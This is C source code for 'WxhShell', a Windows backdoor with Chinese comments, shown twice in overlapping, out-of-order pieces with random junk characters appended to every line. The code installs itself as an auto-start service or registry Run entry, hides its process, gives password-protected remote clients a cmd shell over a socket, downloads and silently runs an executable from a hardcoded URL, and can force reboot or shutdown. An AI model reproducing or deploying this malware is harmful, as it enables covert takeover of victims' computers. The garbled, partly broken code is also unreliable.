    if(Boot(SHUTDOWN)) SjJ$Oinc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *(i%\  
    else { _x!/40^G  
    closesocket(wsh); }I`o%GL  
    ExitThread(0); *(/b{!~  
    } 4{6,Sx  
    break; ?=kH}'igq  
    } YCzH@94QeV  
  // 获取shell mc,HliiJ  
  case 's': { tI9p2!  
    CmdShell(wsh); ~G^+.>j  
    closesocket(wsh); D`B*+  
    ExitThread(0); d=\\ik8  
    break; ,~l4-x.,  
  } 0BjP|API  
  // 退出 duCXCX^n T  
  case 'x': { }J\7IsM&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C^U>{jf !  
    CloseIt(wsh); q="ymx~  
    break; += gU`<\  
    } 6BXZGE  
  // 离开 Y~lOkH[z  
  case 'q': { pg<c vok  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); P{2ED1T\  
    closesocket(wsh); 6Ol)SQE,  
    WSACleanup(); !@+4&B=  
    exit(1); G(hnrRxn  
    break; R-f('[u  
        } 5g9K|-  
  } ,|UwZ_.  
  } $"Ci{iE  
oMq:4W,  
  // 提示信息 ._'.F'd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HGj[\kU~  
} l]IQjjJ`  
  } "*d%el\63  
&&96kg3  
  return; b|@f!lA  
} H}1XK|K3#H  
"(\]-%:7  
// shell模块句柄 8}Maj  
int CmdShell(SOCKET sock) }~<9*M-P  
{ /9-kG  
STARTUPINFO si; DPl&e-`  
ZeroMemory(&si,sizeof(si)); 8..g\ZT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }.<]A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s8r[U, }(  
PROCESS_INFORMATION ProcessInfo; }\ya6Gi8  
char cmdline[]="cmd"; N&Uqzt*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5VLC\QgK^  
  return 0; 6:G ::"ew  
} IU]@%jA_:A  
h~&5;  
// 自身启动模式 DwXSlsN3v  
int StartFromService(void) (xBWxeL~  
{ k]A$?C0Q<%  
typedef struct "j}fcrlG9  
{ Bjb8#n04  
  DWORD ExitStatus; BUla2p  
  DWORD PebBaseAddress; 95tHi re  
  DWORD AffinityMask; :YmFQ>e?  
  DWORD BasePriority; 9NC'iFQ#  
  ULONG UniqueProcessId; E I&)+cC  
  ULONG InheritedFromUniqueProcessId; l9NET  
}   PROCESS_BASIC_INFORMATION; ^JB5-EtL(  
P;p20+  
PROCNTQSIP NtQueryInformationProcess; TaTw,K|/  
O-<nL B!Wf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lhFv2.qR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DDU)G51>d  
$-mwr,i  
  HANDLE             hProcess; gJ5|P .  
  PROCESS_BASIC_INFORMATION pbi; nrz2f7d$  
R%r<AL5kJk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L'x[wM0w;  
  if(NULL == hInst ) return 0; 0tN/P+!|  
p=f8A71  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _^] :tL6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +H3;{ h9,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !O/(._YB`  
%4h$/~  
  if (!NtQueryInformationProcess) return 0; f\vg<lca  
3*<~;Z' z4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EwOi` g  
  if(!hProcess) return 0; E#M4{a1  
u-X P `  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _R|8_#yM  
_/a8X:[(  
  CloseHandle(hProcess); tt]ZGn*  
2E=vMAS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !K_ ke h  
if(hProcess==NULL) return 0; 7|pF (sb0  
1}I%yOi)  
HMODULE hMod; |(UkI?V  
char procName[255]; XZ1<sm8t."  
unsigned long cbNeeded; L t.Vo  
<a$'tw-8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  *4{GI D  
Zd[6-/-:  
  CloseHandle(hProcess); )?,X\/5  
Hd0?}w\  
if(strstr(procName,"services")) return 1; // 以服务启动 A>Oi9%OY:  
;{Su:Ixg  
  return 0; // 注册表启动 dW2Lvnh!>/  
} dIRSgJ`  
ZNTOI]P&  
// 主模块 ^ )[jBUT  
int StartWxhshell(LPSTR lpCmdLine) H{fOAv1*  
{ W*NK-F[  
  SOCKET wsl; ojy[<  
BOOL val=TRUE; $+Vp>  
  int port=0; :k7h"w  
  struct sockaddr_in door; 4l"oq"uc  
RS1c+]rr  
  if(wscfg.ws_autoins) Install(); s*.&DN  
$tFmp)  
port=atoi(lpCmdLine); c/ABBvd|  
!$^LTBOH3  
if(port<=0) port=wscfg.ws_port; :=^_N}  
VT`C<'   
  WSADATA data; 9~C$C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {qjw  S1v  
94xRKQ}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b'5L|1d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q8e34Ly7  
  door.sin_family = AF_INET; /?g:`NT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T@,tlIM  
  door.sin_port = htons(port); IA?v[xu  
b#z{["%Zp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p:8&&v~I  
closesocket(wsl); sas:5iB5  
return 1; x9B{|+tIoc  
} dw e$, 9  
h oL"K  
  if(listen(wsl,2) == INVALID_SOCKET) { CYWL@<p,  
closesocket(wsl); 2<' 1m{  
return 1; BD (  
} 3Zeh$DZ  
  Wxhshell(wsl); bQu1L>c,Uw  
  WSACleanup(); 2n8spLZYGY  
I w-3Z'hOX  
return 0; auV<=1<zJ  
pSlosv(6  
} bB`p-1  
MZInS:Vj  
// 以NT服务方式启动 f)/5%W7n}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xeo2 < @[  
{ 'WLh D<  
DWORD   status = 0; GH!Lu\y\  
  DWORD   specificError = 0xfffffff; EvEI5/ z  
E[N3`"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qt+;b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XrD@q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AUvUk<a  
  serviceStatus.dwWin32ExitCode     = 0; 8@Kvh|  
  serviceStatus.dwServiceSpecificExitCode = 0; \9GJa"xA`  
  serviceStatus.dwCheckPoint       = 0; /kKF|Hg`c  
  serviceStatus.dwWaitHint       = 0; 'qT[,iQ  
9 EqU 2~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1:r8p6  
  if (hServiceStatusHandle==0) return; P7`sJ("#  
kX)Xo`^Ys  
status = GetLastError(); 2PrUI;J$  
  if (status!=NO_ERROR) .W)%*~ O!;  
{ |X$O'Gf#n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5bKm)|4z6  
    serviceStatus.dwCheckPoint       = 0; bF X0UE>  
    serviceStatus.dwWaitHint       = 0; r#CQCq  
    serviceStatus.dwWin32ExitCode     = status; K~B@8az  
    serviceStatus.dwServiceSpecificExitCode = specificError; I"<ACM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -*I Dzm  
    return; ;j]-;wg-;  
  } & NO:S  
p%+uv\Ix  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `swf~  
  serviceStatus.dwCheckPoint       = 0; =6N%;2`84  
  serviceStatus.dwWaitHint       = 0; N4JJA+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R8U?s/*  
} g*nh8  
$ 3/G)/A  
// 处理NT服务事件,比如:启动、停止 |6d0,muN  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CtO`t5  
{ U94Tp A6  
switch(fdwControl) KPcOW#.T  
{ A=S_5y  
case SERVICE_CONTROL_STOP: 1D/9lR,  
  serviceStatus.dwWin32ExitCode = 0; Y "RjMyQh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; x&SG gl  
  serviceStatus.dwCheckPoint   = 0; I Y='tw  
  serviceStatus.dwWaitHint     = 0; O4mSr{HCp  
  { oju}0h'1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RZ#~^5DiO  
  } 3+j!{tJ z2  
  return; a$r<%a6  
case SERVICE_CONTROL_PAUSE: L(bYG0ZI5C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (` N@4w=  
  break; X pH]CF  
case SERVICE_CONTROL_CONTINUE: =I}8-AS~V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /Dl{I7W   
  break; _RHB ^y;-  
case SERVICE_CONTROL_INTERROGATE: ~rWys=  
  break; M' d ,TV[  
}; Hmi]qK[F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vl{G;[6  
} ?!4xtOA  
V#Hg+\{d  
// 标准应用程序主函数 d 1 8>0R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) };z[x2l^  
{ b;X|[tB  
o'8`>rb  
// 获取操作系统版本 TNHkHR[&  
OsIsNt=GetOsVer(); iksd^\]f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X?'v FC  
(rM-~h6g  
  // 从命令行安装 }?0At<(d  
  if(strpbrk(lpCmdLine,"iI")) Install(); tTzPT<  
=/J{>S>(i  
  // 下载执行文件 CSC sJE#4  
if(wscfg.ws_downexe) { *}hx9:9\B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) srbU}u3VZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); E mUA38  
} =68CR[H  
+NH#t} .  
if(!OsIsNt) { tS2Orzc>,  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;ORT#7CU  
HideProc(); q (?%$u.  
StartWxhshell(lpCmdLine); iAOm[=W  
} 9HjtWQn  
else Z+qTMm  
  if(StartFromService()) + ~6Nq(kV  
  // 以服务方式启动 1m52vQSo3l  
  StartServiceCtrlDispatcher(DispatchTable); jgfl|;I?pg  
else w*E0f?s  
  // 普通方式启动 Q>,EYb>wI  
  StartWxhshell(lpCmdLine); nsRZy0@$t  
ws tH&^  
return 0; O$2= Z  
} ]CFh0N|(L  
`H:5D5]  
_Py/,Ks.q  
?G48GxJ  
=========================================== #fy#G}c  
?-y!FD}m&  
Ax9a5;5WM  
OqaVp/,  
b*7:{ FXg  
1Rrl59}5  
" I(cy<ey+e  
o]#M8)=  
#include <stdio.h> XpFo SW#K  
#include <string.h> OJkiTs{  
#include <windows.h> HH\6gs]u  
#include <winsock2.h> b?p_mQKtZ  
#include <winsvc.h> @213KmB.  
#include <urlmon.h> IwE{Zvr  
<0Mc\wy  
#pragma comment (lib, "Ws2_32.lib") !yo/ F& 6  
#pragma comment (lib, "urlmon.lib") L7_qs+  
qM."W=XVN  
#define MAX_USER   100 // 最大客户端连接数 dFu<h   
#define BUF_SOCK   200 // sock buffer ~s :M l  
#define KEY_BUFF   255 // 输入 buffer DQ<{FN  
8hTtBa  
#define REBOOT     0   // 重启 J^Dkx"1GD  
#define SHUTDOWN   1   // 关机 `qNhB\  
lcv&/ A  
#define DEF_PORT   5000 // 监听端口 RY>BP[h  
(&=<UGY(w  
#define REG_LEN     16   // 注册表键长度 tP?pN]Q$,  
#define SVC_LEN     80   // NT服务名长度 `*A!vO8  
!L+4YA  
// 从dll定义API Auq)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b V)mO@N~w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <$f7&6B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1YGj^7V)|Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w $\p\}~,  
*K{-J*   
// wxhshell配置信息 1@ e22\  
struct WSCFG { ux[h\Tp  
  int ws_port;         // 监听端口 rNdeD~\  
  char ws_passstr[REG_LEN]; // 口令 0I8w'/s_g9  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,9(=Iu-?1  
  char ws_regname[REG_LEN]; // 注册表键名 EXdx$I=X  
  char ws_svcname[REG_LEN]; // 服务名 rRTAWAs%T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8y<NT"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \m>mE/N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no QbF!V%+a's  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h83;}>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'u \my  
&0E>&1`7  
}; *u2pk>y)  
[7K-L6X  
// default Wxhshell configuration X-tc Ud  
struct WSCFG wscfg={DEF_PORT, ,[64$=R8  
    "xuhuanlingzhe", MOiTz L*  
    1, 6' 9ITA  
    "Wxhshell", o3_dHbdI  
    "Wxhshell", O4Wn+$AN  
            "WxhShell Service", VSK!Pc.G}  
    "Wrsky Windows CmdShell Service", 'nK(cKDIG  
    "Please Input Your Password: ", WBo|0(#  
  1, .>5KwEK~  
  "http://www.wrsky.com/wxhshell.exe", 7*!h:rg  
  "Wxhshell.exe" xq?9w$  
    }; rmX'Ym9#  
]BY^.!Y  
// 消息定义模块 H nKO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uxGY/Zf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =~)J:x\F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X+'z@xpj  
char *msg_ws_ext="\n\rExit."; NTnjVU }  
char *msg_ws_end="\n\rQuit."; Km5#$IiP;  
char *msg_ws_boot="\n\rReboot..."; Js`xTH'  
char *msg_ws_poff="\n\rShutdown..."; *5SOXrvhu6  
char *msg_ws_down="\n\rSave to "; "T*Sg  
20 j9~+  
char *msg_ws_err="\n\rErr!"; ^ -s'Ad3  
char *msg_ws_ok="\n\rOK!"; i.eu$~F  
U_/sY9gz(  
char ExeFile[MAX_PATH]; 7^{M:kYC!  
int nUser = 0; UDJ{ iZ  
HANDLE handles[MAX_USER]; Ueq*R(9>  
int OsIsNt; 6ty>0  
g]'RwI  
SERVICE_STATUS       serviceStatus; oKl^Ttr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TRQ@=.  
[ n[!RddY  
// 函数声明 QB<9Be@e  
int Install(void); 3GH@|id  
int Uninstall(void); wVI 1sR  
int DownloadFile(char *sURL, SOCKET wsh); s Zan.Kc#  
int Boot(int flag); mSn>  
void HideProc(void); 24ojjxz+  
int GetOsVer(void); yfBVy8Sm  
int Wxhshell(SOCKET wsl); sh $mOy  
void TalkWithClient(void *cs); Z9:erKT   
int CmdShell(SOCKET sock); )2@_V %  
int StartFromService(void); %J*z!Fe8s  
int StartWxhshell(LPSTR lpCmdLine); 6} DGEHc1  
CM}1:o<<N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fl{wF@C6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); o gcEv>0  
!"*!du28jo  
// 数据结构和表定义 =")}wl=s  
SERVICE_TABLE_ENTRY DispatchTable[] = ]K]$FX<f  
{ &WSxg&YG)\  
{wscfg.ws_svcname, NTServiceMain}, '#~$Od4&=  
{NULL, NULL}  E*[dc  
}; 8PQn=k9  
jv:!vi:  
// 自我安装 zp"Lp>i  
int Install(void) )!h(oR  
{ `rt  
  char svExeFile[MAX_PATH]; |5uvmK  
  HKEY key; 0mJvoz\j8  
  strcpy(svExeFile,ExeFile); K;%P_f/KJP  
E7A psi4]  
// 如果是win9x系统,修改注册表设为自启动 $T\W'W R>  
if(!OsIsNt) { 8 |>$M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :r?gD2q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _ >)+ u  
  RegCloseKey(key); g7($lt>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |}~2=r z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7H$0NMP  
  RegCloseKey(key); TU6e,G|t  
  return 0; ^;";fr Vw  
    } o:H^ L,<Tl  
  }  oCE=!75  
} Vy]y73~  
else { +T*=JHOD  
pwg$% lv  
// 如果是NT以上系统,安装为系统服务 X?,ly3,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AT){OQF8&  
if (schSCManager!=0) uFseO9F.2  
{ Ekb9=/  
  SC_HANDLE schService = CreateService fj2pD Cic  
  ( /}G+PUk7  
  schSCManager, k A`Z#yu  
  wscfg.ws_svcname, #6<  X  
  wscfg.ws_svcdisp, V$y6=Q <c  
  SERVICE_ALL_ACCESS, z/IA @  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #fq%903=  
  SERVICE_AUTO_START, -f&16pc1t  
  SERVICE_ERROR_NORMAL, P`/;3u/P  
  svExeFile, yc4?'k!  
  NULL, ?LJDBN  
  NULL, 2TH13k$  
  NULL, >FO4]  
  NULL, ==zt)s.G(+  
  NULL =o N(1k^  
  ); 2K^D%U  
  if (schService!=0) ,EkzBVgo  
  { W[pOLc-  
  CloseServiceHandle(schService); I r8,=  
  CloseServiceHandle(schSCManager); K gN=b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Yt]tRqrh;T  
  strcat(svExeFile,wscfg.ws_svcname); \!!qzrq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { QucDIZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |Z]KF>S]  
  RegCloseKey(key); L-B"P&  
  return 0; xvP=i/SO  
    }  ]/l"  
  } "Di27Rq  
  CloseServiceHandle(schSCManager); !Tc jJ2T  
} ~d0:>8zQR  
} OT1  
@ |bN[XL  
return 1; 4( Q_J4}P  
} #[|~m;K(w  
4@2<dw|*h  
// 自我卸载 j7(sYo@x7  
int Uninstall(void) ` Aa}q(}k  
{ kF%EJuu  
  HKEY key; U_s3)/'  
MQs!+Z"m>  
if(!OsIsNt) { #Tc]L<."  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8fV.NCyE  
  RegDeleteValue(key,wscfg.ws_regname); o1Bn^ w  
  RegCloseKey(key); =>? ;Iv'Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j@N z  
  RegDeleteValue(key,wscfg.ws_regname); bjn: e!}  
  RegCloseKey(key); 1D *oXE9Ig  
  return 0; fL0dy[Ch@  
  } 9((BOq  
} D-{;;<nIr`  
} 'eyzH[l,(  
else { lk.]!K$}  
wM$N#K@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `ChS$p"A  
if (schSCManager!=0) " ^v/Y  
{ noSkKqP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _&(\>{pm  
  if (schService!=0) xwuGJ   
  { [ B{F(~O  
  if(DeleteService(schService)!=0) { #7 )&`  
  CloseServiceHandle(schService); 6MCLm.L  
  CloseServiceHandle(schSCManager); /{)}y  
  return 0; C bWz;$r  
  } UB5CvM28  
  CloseServiceHandle(schService); NCrNlH IF  
  } pUc N-WA  
  CloseServiceHandle(schSCManager); BiFU3FlTf  
} (/mR p  
} m:6^yfS  
1X8P v*,  
return 1; 4*AkUkP:T  
} ]=gNA  
+9^V9]{Vo  
// 从指定url下载文件 fwF&V^Dy  
int DownloadFile(char *sURL, SOCKET wsh) Mh =yIx</  
{ /M,C%.-  
  HRESULT hr; yL2sce[  
char seps[]= "/"; {GH0> 1&  
char *token; '99rXw  
char *file; Zz,j,w0 Z  
char myURL[MAX_PATH]; d}RU-uiW  
char myFILE[MAX_PATH]; #mIgk'kW<  
#EG W76 f  
strcpy(myURL,sURL); dd+hX$,  
  token=strtok(myURL,seps); H{)DI(,Y^P  
  while(token!=NULL) YkN0,6  
  { ^Z |WD!>`  
    file=token; &i(\g7%U  
  token=strtok(NULL,seps); 8"'Z0 Ey  
  } c-jE1y<  
{PGiNY%q  
GetCurrentDirectory(MAX_PATH,myFILE); u=6LPwiI  
strcat(myFILE, "\\"); \m xi8Z w  
strcat(myFILE, file); ugu|?z*dI  
  send(wsh,myFILE,strlen(myFILE),0); k)3b0T@b  
send(wsh,"...",3,0); 2_/H,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &@v&5EXOw  
  if(hr==S_OK) R|@?6<  
return 0; yG' 5:  
else < `Xt?K  
return 1; ]$7yB3S,B  
+6~y1s/B[  
} ;s$,}O.  
s![Di  
// 系统电源模块 (DIMt-wz  
int Boot(int flag) whW% c8  
{ ts:YJAu+F  
  HANDLE hToken; Y5ZBP?P  
  TOKEN_PRIVILEGES tkp; 3wYhDxY1  
g[c_rty  
  if(OsIsNt) { !g.?+~@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }R9>1u}6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `o4%UkBpM  
    tkp.PrivilegeCount = 1; ykS-5E`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .A Dik}o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *^3&Y@  
if(flag==REBOOT) { JBI>D1`"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;hV-*;>  
  return 0; ,I2x&Ys&.  
}  "d; T1  
else { 9Ai 3p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CcJ%; .V,T  
  return 0; r`\6+Ntb.  
} d)WGI RUx  
  } Ajm  
  else { TWeup6k  
if(flag==REBOOT) { H5eGl|Z5]^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H3xMoSs  
  return 0; u2E}DhV  
} vNDf1B5z  
else { D_Zt:tzO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,%T sfB  
  return 0; 4[lym,8C  
} X:>,3[hx|  
} OTj J'  
l9Av@|  
return 1; [*K.9}+G_  
} wM``vx[/  
K^Ho%_)  
// win9x进程隐藏模块 PJ))p6 9  
void HideProc(void) xFScj0Y  
{ |W\U9n  
v.6K;TY.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8U)*kmq  
  if ( hKernel != NULL ) rqWD#FB=z  
  { e9;5.m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j,79G^/YG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NX&Z=ObHu}  
    FreeLibrary(hKernel);  6hO]eS  
  } WB.w3w [f  
ce<88dL  
return; s$Vz1B  
} ZA7b;{o [  
>sGiDK @  
// 获取操作系统版本 "rnVPHnQR  
int GetOsVer(void) W|L#Q/ RX  
{ r'<!wp@  
  OSVERSIONINFO winfo; ,UNnz&H+f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !y&<IT(\4  
  GetVersionEx(&winfo); #G]g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V4ybrUWK  
  return 1; X?$"dqA  
  else 7S{yKS  
  return 0; pS~=T}o  
} 2AXf'IOqE  
uC|bC#;  
// 客户端句柄模块 f+%s.[;A  
int Wxhshell(SOCKET wsl) Ys>Z=Eky  
{ .k"unclT0  
  SOCKET wsh; ,: Ij@u>)  
  struct sockaddr_in client; K*P:FCz  
  DWORD myID; )@],0yL  
f<;eNN  
  while(nUser<MAX_USER) Oh3A?!y#  
{ x3l~kZ(  
  int nSize=sizeof(client); !>?*gc.<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ";Q}Gs}  
  if(wsh==INVALID_SOCKET) return 1; 4vi [hiV   
C ~Doj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ' 7H"ezt  
if(handles[nUser]==0) /pWKV>tjj  
  closesocket(wsh); h,ipQ>  
else &<EixDi4q  
  nUser++; &&7&/   
  } 07G'"=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r<[G~n  
hf:\^w  
  return 0; T*%O\&'r  
} v+~O\v5Q  
D$Ao-6QE W  
// 关闭 socket bR<XQHl  
void CloseIt(SOCKET wsh) 1Q7]1fRu  
{ 0*,] `A=  
closesocket(wsh); $"g'C8  
nUser--; 9z+ZFIf7d  
ExitThread(0); :pLaxWus!  
} EGzlRSgO  
fLZ99?J  
// 客户端请求句柄 D%= j@  
void TalkWithClient(void *cs) 6J <.i  
{ S])*LUi  
t{e}3}LEd  
  SOCKET wsh=(SOCKET)cs; ujr"_ofI  
  char pwd[SVC_LEN]; $lg{J$ h8  
  char cmd[KEY_BUFF]; ))6YOc  
char chr[1]; ?>NX}~2cf  
int i,j; s)#TT9BbV  
L]E.TvM1*  
  while (nUser < MAX_USER) { "%w E>E  
U^kk0OT^  
if(wscfg.ws_passstr) { w&*oWI$i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eMtQa;Lc9o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #i=m%>zjN  
  //ZeroMemory(pwd,KEY_BUFF); i)(-Ad_  
      i=0; HfEl TC:3f  
  while(i<SVC_LEN) { =vsvx{o?  
a>&dAo}  
  // 设置超时 Zd]ua_)I%[  
  fd_set FdRead; M63t4; 0A  
  struct timeval TimeOut; )O8w'4P5  
  FD_ZERO(&FdRead); -0+h&CO  
  FD_SET(wsh,&FdRead);  63VgQ  
  TimeOut.tv_sec=8; IeAi'  
  TimeOut.tv_usec=0; C3KAQ U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n2Y a'YF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N7!(4|14  
"(iQ-g Mm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "}b/[U@>  
  pwd=chr[0]; AG|:mQO  
  if(chr[0]==0xd || chr[0]==0xa) { /k KVIlO  
  pwd=0; zh5ovA%  
  break; F.AP)`6+*  
  } P:UR:y([  
  i++; NCVhWD21|  
    } C8y[B1Y  
bUe6f,8,  
  // 如果是非法用户,关闭 socket ,U>G$G^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \=H+m%  
} 7 iQa)8,  
U:gvK 8n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^@<Ia-x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D2f~*!vEnA  
bp'\nso/  
while(1) { |`d-;pk!%  
'M fVZho{  
  ZeroMemory(cmd,KEY_BUFF); \)cbg#v  
{6mFI1;q  
      // 自动支持客户端 telnet标准   zor  
  j=0; !.7m4mKzo  
  while(j<KEY_BUFF) { \"P$*y4Le  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :ay`Id_tm  
  cmd[j]=chr[0]; ]?_V+F  
  if(chr[0]==0xa || chr[0]==0xd) { Ue=1NnRDkA  
  cmd[j]=0; ->W rBO  
  break; [f?x ,W~  
  } 0y%s\,PsT  
  j++; S~B{G T\M  
    } b@B\2BT  
|AS9^w  
  // 下载文件 /5~j"| U'  
  if(strstr(cmd,"http://")) { OG^#e+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K<v:RbU|[1  
  if(DownloadFile(cmd,wsh)) T+>W(w i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Py?.H   
  else w}U'>fj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tdNAR|  
  } 8aVj@x$'  
  else { Z& bIjp  
fz%e?@>q  
    switch(cmd[0]) { 0NXaAf:2Z  
  '\P+Bu]6&  
  // 帮助 [6%y RQ_  
